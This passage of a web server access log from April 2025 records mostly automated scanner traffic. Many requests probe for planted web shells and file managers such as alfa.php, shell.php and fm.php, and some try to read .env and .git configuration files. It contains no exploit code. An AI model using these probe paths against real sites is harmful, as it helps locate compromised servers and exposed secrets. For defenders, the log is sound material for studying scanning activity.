/wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:52 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:52 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:52 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:52 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:53 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:53 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:53 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:54 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:54 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:54 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:55 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:55 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:56 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:56 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:56 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:57 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 43.142.179.19 - - [11/Apr/2025:15:03:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) MicroMessenger Weixin QQ AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36" 43.142.179.19 - - [11/Apr/2025:15:03:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) MicroMessenger Weixin QQ AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36" 43.142.179.19 - - [11/Apr/2025:15:03:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) MicroMessenger Weixin QQ AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36" 51.161.107.25 - - [11/Apr/2025:15:21:43 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 51.161.107.25 - - [11/Apr/2025:15:21:49 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.102.246.104 - - [11/Apr/2025:15:51:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:54:46 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:54:51 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:54:53 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:54:55 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:54:56 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:54:58 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:54:59 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:55:01 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:55:02 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [11/Apr/2025:15:55:03 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [11/Apr/2025:16:01:38 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 103.194.187.90 - - [11/Apr/2025:16:02:24 -0400] "GET /tages.php?ote HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 114.119.155.170 - - [11/Apr/2025:16:14:15 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 18.223.108.59 - - [11/Apr/2025:16:20:18 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 1.169.109.224 - - [11/Apr/2025:16:49:22 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36" 198.235.24.184 - - [11/Apr/2025:17:05:50 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 3.12.152.185 - - [11/Apr/2025:17:35:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 216.244.66.237 - - [11/Apr/2025:18:05:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 162.0.232.217 - - [11/Apr/2025:18:29:04 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 182.44.12.37 - - [11/Apr/2025:18:34:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.77.107.199 - - [11/Apr/2025:19:32:37 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.77.107.199 - - [11/Apr/2025:19:32:42 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [11/Apr/2025:19:37:39 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 20.14.154.215 - - [11/Apr/2025:19:43:05 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:06 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:06 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:07 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:07 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:08 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:08 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:09 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:09 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [11/Apr/2025:19:43:10 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 199.45.154.130 - - [11/Apr/2025:19:48:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 2602:80d:1003::22 - - [11/Apr/2025:19:48:14 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 162.0.232.217 - - [11/Apr/2025:20:14:01 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:14:11 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:16:00 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:16:15 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:17:55 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:18:48 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:19:00 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:19:07 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:19:10 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:19:30 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:20:00 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:20:57 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:21:02 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [11/Apr/2025:20:21:21 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "get_local:DCV" 15.188.81.74 - - [11/Apr/2025:20:28:32 -0400] "GET /.git/config HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9" 18.223.108.59 - - [11/Apr/2025:20:38:41 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 18.223.108.59 - - [11/Apr/2025:20:57:05 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 43.153.36.110 - - [11/Apr/2025:21:23:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.84.177.55 - - [11/Apr/2025:21:30:42 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 154.83.103.207 - - [11/Apr/2025:21:37:52 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.207 - - [11/Apr/2025:21:37:52 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 195.20.18.175 - - [11/Apr/2025:21:42:23 -0400] "GET /admin/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 34.162.129.186 - - [11/Apr/2025:22:24:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.129.186 - - [11/Apr/2025:22:24:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.129.186 - - [11/Apr/2025:22:25:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.129.186 - - [11/Apr/2025:22:25:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.129.186 - - [11/Apr/2025:22:25:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.129.186 - - [11/Apr/2025:22:25:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 185.9.16.110 - - [11/Apr/2025:22:56:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 18.223.108.59 - - [11/Apr/2025:22:59:18 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 54.183.9.229 - - [11/Apr/2025:23:23:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 182.40.104.255 - - [11/Apr/2025:23:28:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.76.18.60 - - [11/Apr/2025:23:50:01 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:07 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:07 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:07 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:08 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:08 -0400] "GET /WordPress/wp-admin/includes/zmFM.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:08 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:09 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:10 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:10 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:12 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:13 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:14 -0400] "GET /libraries/legacy/info.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:15 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:17 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:18 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:19 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:19 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:20 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:22 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:23 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:23 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:23 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:24 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:25 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:26 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:26 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:27 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:28 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:29 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:29 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:31 -0400] "GET /Assets/item.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:32 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:33 -0400] "GET /th/plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:34 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:35 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:36 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:36 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:37 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:37 -0400] "GET /wp-includes/block-patterns/vuln.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:38 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:39 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:39 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:40 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:40 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:40 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:41 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:41 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:42 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:42 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:42 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:42 -0400] "GET /wp-content/plugins/background-image-cropper/plugins.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:43 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:43 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:44 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:44 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:45 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:45 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:45 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:46 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:46 -0400] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:47 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:48 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:49 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:49 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:50 -0400] "GET /wp-includes/SimplePie/Cache/content.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:50 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:51 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:52 -0400] "GET /wp-mail.php/wp-includes/ID3/taptap-null.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:53 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:54 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:55 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:56 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:56 -0400] "GET /wp-content/plugins/duplicator/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:57 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:57 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:58 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:59 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:50:59 -0400] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:00 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:01 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:01 -0400] "GET /wp-includes/js/crop/zmFM.php 